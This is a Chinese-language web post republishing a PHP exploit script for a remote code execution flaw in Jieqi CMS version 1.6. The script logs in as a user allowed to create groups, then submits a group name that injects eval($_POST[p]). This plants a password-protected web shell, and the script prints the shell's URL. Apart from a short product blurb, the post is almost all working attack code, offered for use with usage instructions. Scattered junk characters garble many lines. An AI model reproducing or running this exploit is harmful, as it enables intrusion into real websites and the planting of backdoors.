Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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. l! T9 ~" e; E& t( v0 n该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
* U+ V' q! J! C$ Q9 K! Z8 @, B 需要有一个能创建圈子的用户。
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<?php
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print_r('
' n' W0 t4 y1 R9 `. x5 I: Q! Z+---------------------------------------------------------------------------+
! e. b1 ]/ @9 C1 W7 P4 mJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
3 m/ c& x3 S! Q) `9 Email: phpsec at hotmail dot com
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+---------------------------------------------------------------------------+
$ g- }; I. R# |'); /**
" L8 w" E9 J; U6 _ * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
( P& T+ M* V+ DUsage: php '.$argv[0].' host path username
. K4 g7 d" ]# t4 Zhost:      target server (ip/hostname)
path:      path to jieqicms
! B5 [3 G4 g: ~  X3 K+ }# U! Euasename:  a username who can create group
Example:
( @" z8 d* `' R* ~! bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
9 x9 e9 D# I, {6 d  ^3 q  L+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
6 R& _3 e6 H$ x+ G3 Y1 }+ ~Content-Disposition: form-data; name="gname"

'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

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-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
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4 J! J- N' k: R9 L7 ?+ |) [* R7 m-----------------------------23281168279961
1 P# \, z/ P( u6 _* LContent-Disposition: form-data; name="gbrief"

1
& V* ^9 a+ `" R' f$ B2 p-----------------------------23281168279961--
' c* }8 u5 D! `/ Q: t7 a1 M0 G& {'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;